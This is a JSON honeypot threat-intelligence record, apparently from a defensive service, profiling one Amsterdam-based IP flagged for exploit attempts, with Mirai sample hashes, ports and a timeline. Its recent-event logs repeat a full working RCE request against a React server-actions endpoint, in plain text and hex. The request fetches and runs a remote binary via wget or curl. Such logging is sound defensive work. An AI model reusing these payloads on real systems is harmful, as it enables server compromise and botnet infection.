{"ip":"85.11.167.191","total_events":219,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"198 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["198 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 324,346 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"324,346 bytes sent","bytes_sent":324346,"session_seconds":1,"persistent":false}},"first_seen":"2026-02-27T14:57:37","last_seen":"2026-09-06T01:08:14","events_24h":0,"events_7d":5,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":197170,"org":"TechTies Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"e866d20204375093cc8d32ddcb253a52cf1f2506cede2808f638ec43de598346","family":"mirai","vt_name":"agustin51","malicious":2,"total":75,"vt_status":"uploaded","delivery":"curl","url_path":"/","dest_port":3001,"hits":4,"last_seen":"2026-08-29 19:32:15"},{"sha256":"24874cc2145f8cb88952424d857387e09ad2ee360fc99d7e90da4d966d6155c2","family":"","vt_name":"6b22q.exe","malicious":1,"total":75,"vt_status":"known","delivery":"curl","url_path":"/","dest_port":3000,"hits":4,"last_seen":"2026-08-28 15:15:07"},{"sha256":"7cf78bede0adb90e9eda0eec609e3dba6277e7cf233d875a4ceb712de9f804b8","family":"mirai","vt_name":"polkit-agent-helper-1a","malicious":2,"total":75,"vt_status":"known","delivery":"curl","url_path":"/","dest_port":3001,"hits":2,"last_seen":"2026-09-05 19:51:38"},{"sha256":"95871105a8ca339c39ede4b2da1e2d30989b5a91395b808ba81f3cf9f7ed0b14","family":"mirai","vt_name":"j8ohm.exe","malicious":14,"total":75,"vt_status":"known","delivery":"wget","url_path":"/picsdesc.xml","dest_port":52869,"hits":1,"last_seen":"2026-08-24 00:40:11"}],"top_ports":[{"port":3001,"proto":"tcp","label":"","count":105},{"port":3000,"proto":"tcp","label":"Web-alt","count":82},{"port":3128,"proto":"tcp","label":"HTTP-proxy","count":6},{"port":56575,"proto":"tcp","label":"","count":6},{"port":52869,"proto":"tcp","label":"","count":6},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":5},{"port":4001,"proto":"tcp","label":"","count":4},{"port":5000,"proto":"tcp","label":"Web-alt","count":2},{"port":8111,"proto":"tcp","label":"","count":1},{"port":80,"proto":"tcp","label":"HTTP","count":1},{"port":7860,"proto":"tcp","label":"","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11nn0800_5055f782ab33","po11nn0500_b4ba55311b46","po11nn0500_af8ad02cc441","ge11nn0400_9c3956fad5da"]},"fingerprint_peers":{"po11nn0800_5055f782ab33":4,"po11nn0500_b4ba55311b46":92,"po11nn0500_af8ad02cc441":2,"ge11nn0400_9c3956fad5da":1564},"user_agents":["Go-http-client/1.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36","Mozilla/5.0","Mozilla/5.0 (compatible; TeamCity-Agent/2024.03)"],"timeline":[{"date":"2026-08-13","count":2},{"date":"2026-08-14","count":1},{"date":"2026-08-19","count":7},{"date":"2026-08-20","count":14},{"date":"2026-08-23","count":6},{"date":"2026-08-24","count":11},{"date":"2026-08-25","count":7},{"date":"2026-08-26","count":21},{"date":"2026-08-27","count":19},{"date":"2026-08-28","count":19},{"date":"2026-08-29","count":15},{"date":"2026-08-30","count":14},{"date":"2026-08-31","count":12},{"date":"2026-09-01","count":16},{"date":"2026-09-02","count":21},{"date":"2026-09-03","count":15},{"date":"2026-09-04","count":12},{"date":"2026-09-05","count":4},{"date":"2026-09-06","count":1}],"recent_events":[{"timestamp":"2026-09-06T01:08:14","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1365\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://2.27.14.92:889/agustin51 || curl -k -s -o .g http://2.27.14.92:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336350d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"c067d7bb-c0bd-40f9-9fb9-7e00844964d8","seq":1,"duration_ms":100,"bytes_in":1603,"bytes_out":78},{"timestamp":"2026-09-05T22:46:05","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1365\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://2.27.14.92:889/agustin51 || curl -k -s -o .g http://2.27.14.92:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336350d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"fc272519-a30e-4048-a030-8f31e67b3824","seq":1,"duration_ms":101,"bytes_in":1603,"bytes_out":78},{"timestamp":"2026-09-05T22:42:25","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1365\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://2.27.14.92:889/agustin51 || curl -k -s -o .g http://2.27.14.92:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336350d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"48865ffd-9f7e-448e-b1eb-9d2ca247ce98","seq":1,"duration_ms":100,"bytes_in":1604,"bytes_out":78},{"timestamp":"2026-09-05T19:51:38","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1365\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://2.27.14.92:889/agustin51 || curl -k -s -o .g http://2.27.14.92:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336350d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f322e32372e31342e39323a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"a3f043f5-bfdf-48a7-8ff1-1999c922fb8e","seq":1,"duration_ms":100,"bytes_in":1605,"bytes_out":78},{"timestamp":"2026-09-05T17:54:33","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1365\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://2.27.14.92:889/agustin51 || curl -k -s -o .g http://2.27.14.92:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    